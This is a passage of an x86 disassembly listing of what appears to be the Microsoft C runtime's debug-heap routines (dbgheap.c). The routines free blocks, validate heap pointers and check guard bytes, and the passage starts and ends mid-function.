		jnz	short loc_41FA2E
		jmp	loc_41FDC5
; ---------------------------------------------------------------------------


loc_41FA2E:				; CODE XREF: sub_41F9E0+47j
		push	0
		push	0
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		push	3
		call	off_4502B0
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FA78


loc_41FA4D:				; CODE XREF: sub_41F9E0+91j
		push	offset aClientHookFree ; "Client hook free failure.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41FA6D
		int	3		; Trap to Debugger


loc_41FA6D:				; CODE XREF: sub_41F9E0+8Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FA4D
		jmp	loc_41FDC5
; ---------------------------------------------------------------------------


loc_41FA78:				; CODE XREF: sub_41F9E0+6Bj
					; sub_41F9E0+CDj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_420610
		add	esp, 4
		test	eax, eax
		jnz	short loc_41FAA9
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	414h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FAA9
		int	3		; Trap to Debugger


loc_41FAA9:				; CODE XREF: sub_41F9E0+A6j
					; sub_41F9E0+C6j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FA78
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_4], ecx


loc_41FAB8:				; CODE XREF: sub_41F9E0+12Fj
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41FB0B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41FB0B
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41FB0B
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41FB0B
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	41Ah
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FB0B
		int	3		; Trap to Debugger


loc_41FB0B:				; CODE XREF: sub_41F9E0+E6j
					; sub_41F9E0+EFj ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FAB8
		mov	eax, dword_44FEE0
		and	eax, 4
		test	eax, eax
		jnz	loc_41FBE6
		push	4
		mov	cl, byte_44FEEC
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 1Ch
		push	edx
		call	sub_4200A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FB80


loc_41FB3D:				; CODE XREF: sub_41F9E0+19Ej
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_44FEF0[ecx*4]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41FB7A
		int	3		; Trap to Debugger


loc_41FB7A:				; CODE XREF: sub_41F9E0+197j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FB3D


loc_41FB80:				; CODE XREF: sub_41F9E0+15Bj
		push	4
		mov	cl, byte_44FEEC
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_4200A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FBE6


loc_41FBA3:				; CODE XREF: sub_41F9E0+204j
		mov	eax, [ebp+var_4]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_44FEF0[ecx*4]
		push	edx
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	1
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41FBE0
		int	3		; Trap to Debugger


loc_41FBE0:				; CODE XREF: sub_41F9E0+1FDj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FBA3


loc_41FBE6:				; CODE XREF: sub_41F9E0+13Bj
					; sub_41F9E0+1C1j
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_41FC5B


loc_41FBEF:				; CODE XREF: sub_41F9E0+249j
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+0Ch], 0FEDCBABCh
		jnz	short loc_41FC04
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 0
		jz	short loc_41FC25


loc_41FC04:				; CODE XREF: sub_41F9E0+219j
		push	offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
		push	0
		push	42Fh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FC25
		int	3		; Trap to Debugger


loc_41FC25:				; CODE XREF: sub_41F9E0+222j
					; sub_41F9E0+242j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FBEF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44FEED
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4263E0
		add	esp, 4
		jmp	loc_41FDC5
; ---------------------------------------------------------------------------


loc_41FC5B:				; CODE XREF: sub_41F9E0+20Dj
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 2
		jnz	short loc_41FC71
		cmp	[ebp+arg_4], 1
		jnz	short loc_41FC71
		mov	[ebp+arg_4], 2


loc_41FC71:				; CODE XREF: sub_41F9E0+282j
					; sub_41F9E0+288j ...
		mov	edx, [ebp+var_4]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41FC9D
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	43Ch
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FC9D
		int	3		; Trap to Debugger


loc_41FC9D:				; CODE XREF: sub_41F9E0+29Aj
					; sub_41F9E0+2BAj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FC71
		mov	edx, [ebp+var_4]
		mov	eax, dword_4E91EC
		sub	eax, [edx+10h]
		mov	dword_4E91EC, eax
		mov	ecx, dword_44FEE0
		and	ecx, 2
		test	ecx, ecx
		jnz	loc_41FD9C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_41FCDC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		jmp	short loc_41FD1A
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: sub_41F9E0+2EAj
					; sub_41F9E0+32Cj
		mov	ecx, dword_4E91E0
		cmp	ecx, [ebp+var_4]
		jz	short loc_41FD08
		push	offset a_plastblockPhe ; "_pLastBlock == pHead"
		push	0
		push	44Bh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FD08
		int	3		; Trap to Debugger


loc_41FD08:				; CODE XREF: sub_41F9E0+305j
					; sub_41F9E0+325j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FCDC
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	dword_4E91E0, ecx


loc_41FD1A:				; CODE XREF: sub_41F9E0+2FAj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+4], 0
		jz	short loc_41FD32
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ecx], eax
		jmp	short loc_41FD6F
; ---------------------------------------------------------------------------


loc_41FD32:				; CODE XREF: sub_41F9E0+341j
					; sub_41F9E0+382j
		mov	ecx, dword_4E91E8
		cmp	ecx, [ebp+var_4]
		jz	short loc_41FD5E
		push	offset a_pfirstblockPh ; "_pFirstBlock == pHead"
		push	0
		push	455h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FD5E
		int	3		; Trap to Debugger


loc_41FD5E:				; CODE XREF: sub_41F9E0+35Bj
					; sub_41F9E0+37Bj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FD32
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		mov	dword_4E91E8, ecx


loc_41FD6F:				; CODE XREF: sub_41F9E0+350j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		add	eax, 24h
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44FEED
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_421410
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4263E0
		add	esp, 4
		jmp	short loc_41FDC5
; ---------------------------------------------------------------------------


loc_41FD9C:				; CODE XREF: sub_41F9E0+2DEj
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+14h], 0
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		xor	ecx, ecx
		mov	cl, byte_44FEED
		push	ecx
		mov	edx, [ebp+var_4]
		add	edx, 20h
		push	edx
		call	sub_421410
		add	esp, 0Ch


loc_41FDC5:				; CODE XREF: sub_41F9E0+49j
					; sub_41F9E0+93j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F9E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		mov	eax, [ebp+8]
		push	eax
		call	sub_41FDF0
		add	esp, 8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDF0	proc near		; CODE XREF: .XComp0:0041FDD9p
					; sub_423BB0+11p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041FF6C SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E8B8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44FEE0
		and	eax, 4
		test	eax, eax
		jz	short loc_41FE4F


loc_41FE1F:				; CODE XREF: sub_41FDF0+5Dj
		call	sub_420130
		test	eax, eax
		jnz	short loc_41FE49
		push	offset a_crtcheckmemor ; "_CrtCheckMemory()"
		push	0
		push	49Dh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FE49
		int	3		; Trap to Debugger


loc_41FE49:				; CODE XREF: sub_41FDF0+36j
					; sub_41FDF0+56j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FE1F


loc_41FE4F:				; CODE XREF: sub_41FDF0+2Dj
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0


loc_41FE60:				; CODE XREF: sub_41FDF0+A5j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_420610
		add	esp, 4
		test	eax, eax
		jnz	short loc_41FE91
		push	offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
		push	0
		push	4A9h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FE91
		int	3		; Trap to Debugger


loc_41FE91:				; CODE XREF: sub_41FDF0+7Ej
					; sub_41FDF0+9Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FE60
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_20], ecx


loc_41FEA0:				; CODE XREF: sub_41FDF0+107j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41FEF3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41FEF3
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41FEF3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41FEF3
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4AFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FEF3
		int	3		; Trap to Debugger


loc_41FEF3:				; CODE XREF: sub_41FDF0+BEj
					; sub_41FDF0+C7j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FEA0
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_41FF0F
		cmp	[ebp+arg_4], 1
		jnz	short loc_41FF0F
		mov	[ebp+arg_4], 2


loc_41FF0F:				; CODE XREF: sub_41FDF0+110j
					; sub_41FDF0+116j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41FF4A


loc_41FF18:				; CODE XREF: sub_41FDF0+158j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41FF44
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0
		push	4B6h
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FF44
		int	3		; Trap to Debugger


loc_41FF44:				; CODE XREF: sub_41FDF0+131j
					; sub_41FDF0+151j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41FF18


loc_41FF4A:				; CODE XREF: sub_41FDF0+126j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41FF61
		jmp	short loc_41FF6C
sub_41FDF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF61	proc near		; CODE XREF: sub_41FDF0+16Ap
					; DATA XREF: .XComp0:0043E8C0o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_41FF61	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FDF0


loc_41FF6C:				; CODE XREF: sub_41FDF0+16Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41FDF0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_44FEE8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_44FEE8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43E8C8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		push	9
		call	sub_425990
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+8]
		push	eax
		call	sub_420610
		add	esp, 4
		test	eax, eax
		jz	short loc_42004F
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx


loc_41FFED:				; CODE XREF: .XComp0:00420044j
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_420040
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_420040
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_420040
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_420040
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0
		push	4FFh
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_420040
		int	3		; Trap to Debugger


loc_420040:				; CODE XREF: .XComp0:0041FFFBj
					; .XComp0:00420004j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41FFED
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp+0Ch]
		mov	[eax+14h], ecx


loc_42004F:				; CODE XREF: .XComp0:0041FFE2j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_42005D
		jmp	short loc_420068

; =============== S U B	R O U T	I N E =======================================



sub_42005D	proc near		; CODE XREF: .XComp0:00420056p
					; DATA XREF: .XComp0:0043E8D0o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_42005D	endp

; ---------------------------------------------------------------------------


loc_420068:				; CODE XREF: .XComp0:0042005Bj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_4502B0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_4502B0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200A0	proc near		; CODE XREF: sub_41F9E0+151p
					; sub_41F9E0+1B7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], 1


loc_4200AE:				; CODE XREF: sub_4200A0:loc_42011Cj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_42011E
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_4]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	eax, ecx
		jz	short loc_42011C


loc_4200DB:				; CODE XREF: sub_4200A0+73j
		mov	eax, [ebp+arg_4]
		and	eax, 0FFh
		push	eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx-1]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		push	eax
		push	offset aMemoryCheckErr ; "memory check error at	0x%08X = 0x%02X, "...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_42010F
		int	3		; Trap to Debugger


loc_42010F:				; CODE XREF: sub_4200A0+6Cj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4200DB
		mov	[ebp+var_4], 0


loc_42011C:				; CODE XREF: sub_4200A0+39j
		jmp	short loc_4200AE
; ---------------------------------------------------------------------------


loc_42011E:				; CODE XREF: sub_4200A0+1Cj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4200A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420130	proc near		; CODE XREF: sub_41EEE0:loc_41EEFCp
					; sub_41F350:loc_41F3B2p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004204B0 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EA50
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44FEE0
		and	eax, 1
		test	eax, eax
		jnz	short loc_420169
		mov	eax, 1
		jmp	loc_4204B3
; ---------------------------------------------------------------------------


loc_420169:				; CODE XREF: sub_420130+2Dj
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		call	sub_426530
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	loc_42028E
		cmp	[ebp+var_24], 0FFFFFFFEh
		jz	loc_42028E
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		add	edx, 6
		mov	[ebp+var_30], edx
		cmp	[ebp+var_30], 3
		ja	loc_42025C
		mov	eax, [ebp+var_30]
		jmp	off_4204C4[eax*4]


loc_4201B9:				; CODE XREF: sub_420130+ADj
					; DATA XREF: .XComp0:004204D0o
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4201D9
		int	3		; Trap to Debugger


loc_4201D9:				; CODE XREF: sub_420130+A6j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4201B9
		jmp	loc_420282
; ---------------------------------------------------------------------------


loc_4201E4:				; CODE XREF: sub_420130+82j
					; sub_420130+D8j
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420204
		int	3		; Trap to Debugger


loc_420204:				; CODE XREF: sub_420130+D1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4201E4
		jmp	short loc_420282
; ---------------------------------------------------------------------------


loc_42020C:				; CODE XREF: sub_420130+82j
					; sub_420130+100j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_42022C
		int	3		; Trap to Debugger


loc_42022C:				; CODE XREF: sub_420130+F9j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42020C
		jmp	short loc_420282
; ---------------------------------------------------------------------------


loc_420234:				; CODE XREF: sub_420130+82j
					; sub_420130+128j
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420254
		int	3		; Trap to Debugger


loc_420254:				; CODE XREF: sub_420130+121j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420234
		jmp	short loc_420282
; ---------------------------------------------------------------------------


loc_42025C:				; CODE XREF: sub_420130+79j
					; sub_420130+150j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_42027C
		int	3		; Trap to Debugger


loc_42027C:				; CODE XREF: sub_420130+149j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_42025C


loc_420282:				; CODE XREF: sub_420130+AFj
					; sub_420130+DAj ...
		mov	[ebp+var_1C], 0
		jmp	loc_420497
; ---------------------------------------------------------------------------


loc_42028E:				; CODE XREF: sub_420130+56j
					; sub_420130+60j
		mov	[ebp+var_1C], 1
		mov	eax, dword_4E91E8
		mov	[ebp+var_20], eax
		jmp	short loc_4202A7
; ---------------------------------------------------------------------------


loc_42029F:				; CODE XREF: sub_420130:loc_420492j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx


loc_4202A7:				; CODE XREF: sub_420130+16Dj
		cmp	[ebp+var_20], 0
		jz	loc_420497
		mov	[ebp+var_28], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_4202EC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_4202EC
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_4202EC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_420304


loc_4202EC:				; CODE XREF: sub_420130+197j
					; sub_420130+1A0j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_44FEF0[ecx*4]
		mov	[ebp+var_2C], edx
		jmp	short loc_42030B
; ---------------------------------------------------------------------------


loc_420304:				; CODE XREF: sub_420130+1BAj
		mov	[ebp+var_2C], offset aDamaged ;	"DAMAGED"


loc_42030B:				; CODE XREF: sub_420130+1D2j
		push	4
		mov	al, byte_44FEEC
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1Ch
		push	ecx
		call	sub_4200A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420360


loc_420326:				; CODE XREF: sub_420130+227j
		mov	edx, [ebp+var_20]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_420353
		int	3		; Trap to Debugger


loc_420353:				; CODE XREF: sub_420130+220j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420326
		mov	[ebp+var_28], 0


loc_420360:				; CODE XREF: sub_420130+1F4j
		push	4
		mov	cl, byte_44FEEC
		push	ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_20]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	sub_4200A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4203BD


loc_420383:				; CODE XREF: sub_420130+284j
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_4203B0
		int	3		; Trap to Debugger


loc_4203B0:				; CODE XREF: sub_420130+27Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420383
		mov	[ebp+var_28], 0


loc_4203BD:				; CODE XREF: sub_420130+251j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_420416
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_44FEED
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		call	sub_4200A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420416


loc_4203E7:				; CODE XREF: sub_420130+2DDj
		mov	ecx, [ebp+var_20]
		add	ecx, 20h
		push	ecx
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420409
		int	3		; Trap to Debugger


loc_420409:				; CODE XREF: sub_420130+2D6j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_4203E7
		mov	[ebp+var_28], 0


loc_420416:				; CODE XREF: sub_420130+294j
					; sub_420130+2B5j
		cmp	[ebp+var_28], 0
		jnz	short loc_420492
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jz	short loc_420458


loc_420425:				; CODE XREF: sub_420130+326j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, [ebp+var_2C]
